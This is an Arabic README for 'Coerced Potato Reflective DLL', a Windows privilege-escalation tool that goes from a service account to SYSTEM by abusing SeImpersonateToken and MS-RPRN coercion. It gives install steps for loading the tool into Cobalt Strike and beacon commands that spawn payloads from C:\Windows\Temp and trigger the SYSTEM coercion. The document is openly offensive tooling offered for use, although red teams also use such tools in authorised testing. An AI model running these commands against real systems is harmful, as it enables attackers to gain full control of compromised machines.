Coerced Potato Reflective DLL

استغلال صلاحيات من خدمة NT إلى SYSTEM باستخدام امتياز SeImpersonateToken ودوال MS-RPRN.

مبني بشكل كبير على https://github.com/Prepouce/CoercedPotato

Reflective Loader من https://github.com/stephenfewer/ReflectiveDLLInjection.

التثبيت

استنسخ هذا المستودع وقم بتجميع المشروع في VisualStudio ثم حمّل dist/coercedpotato.cna إلى CobaltStrike.

الاستخدام

تحتاج أولاً إلى تشغيل مستمع RPC باستخدام:

beacon> CoercedPotato spawn ProcessToSpawn OptionalCmdArgument

على سبيل المثال:

beacon> CoercedPotato spawn C:\Windows\Temp\beacon.exe
beacon> CoercedPotato spawn C:\Windows\Temp\loader.exe C:\Windows\Temp\beacon.bin

ثم يمكنك تشغيل استدعاء SYSTEM:

beacon> CoercedPotato coerce